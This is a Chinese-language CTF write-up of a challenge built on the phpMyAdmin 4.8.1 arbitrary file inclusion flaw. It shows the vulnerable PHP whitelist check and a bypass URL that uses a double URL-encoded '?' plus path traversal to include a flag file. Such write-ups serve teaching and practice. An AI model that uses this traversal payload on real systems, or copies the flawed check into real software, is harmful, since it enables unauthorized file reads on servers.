phpmyadmin 4.8.1任意文件包含漏洞-CTF
January 1st 2018, 12:00:00 pm
题目地址:http://222.18.158.226:50000/
打开之后一个很大的滑稽图标~ 有一个链接:http://222.18.158.226:50000/index.php?file=hint.php 点进去显示:flag not here, and flag in ffffllllaaaagggg 很明显,这里没有flag,lag在ffffllllaaaagggg里面。 这个页面源码什么都没有~ 返回到原来的题目地址看看源码。 在源码当中发现了一个注释: 按照前面hint链接的形式进入发现一段php代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) || !is_string($page )) { echo "you can't see it" ; return false ; } if (in_array($page , $whitelist )) { return true ; } $_page = mb_substr( $page , 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } $_page = urldecode($page ); $_page = mb_substr( $_page , 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string($_REQUEST ['file' ]) && emmm::checkFile($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
从这段代码来看,考的是phpmyadmin 4.8.1任意文件包含漏洞。
问题出现在下面这段判断语句,在条件都为真的情况下就会包含参数file所赋予的内容。
判断语句里使用了emmm类的checkFile方法来判断file是否符合条件,看一下file方法里面的判断。分析内容在源码里。
从分析的内容来看,构造的链接要满足:
file后面的网页必须在白名单内
遍历前面的问号要经过两次url编码
构造语句为:http://222.18.158.226:50000/index.php?file=hint.php%253f/../../../../../ffffllllaaaagggg
进入得到flag